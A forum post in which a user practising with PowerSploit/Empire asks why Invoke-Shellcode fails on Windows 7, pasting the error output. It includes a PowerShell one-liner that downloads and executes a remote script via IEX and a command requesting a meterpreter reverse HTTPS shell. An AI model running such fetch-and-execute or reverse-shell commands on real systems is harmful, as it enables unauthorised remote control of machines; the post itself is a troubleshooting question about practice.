Empire Invoke-Shellcode not working

Hi everyone,

i’ve tried to run Empire/s invoke-shellcode on two windows 7 machines and twice i got many errors right away, which do not appear very frequently in that context, judging by Google.

I had never used Powersploit before and i am practicing a bit on that field so i was wondering if i missed something like… maybe the tool is out of date, or only works in very precise scenarios ?

PS C:\Users\user> IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/

PS C:\Users\user> Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost–Lport 443 –Force

Exception calling “GetMethod” with “1” argument(s): “Ambiguous match found.”
At line:278 char:9

  •     $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddr ...
  •     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    • CategoryInfo : NotSpecified: (:slight_smile: , MethodInvocationException
    • FullyQualifiedErrorId : AmbiguousMatchException

You cannot call a method on a null-valued expression.
At line:285 char:9

  •     Write-Output $GetProcAddress.Invoke($null, @([System.Runtime. ...
  •     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    • CategoryInfo : InvalidOperation: (:slight_smile: , RuntimeException
    • FullyQualifiedErrorId : InvokeMethodOnNull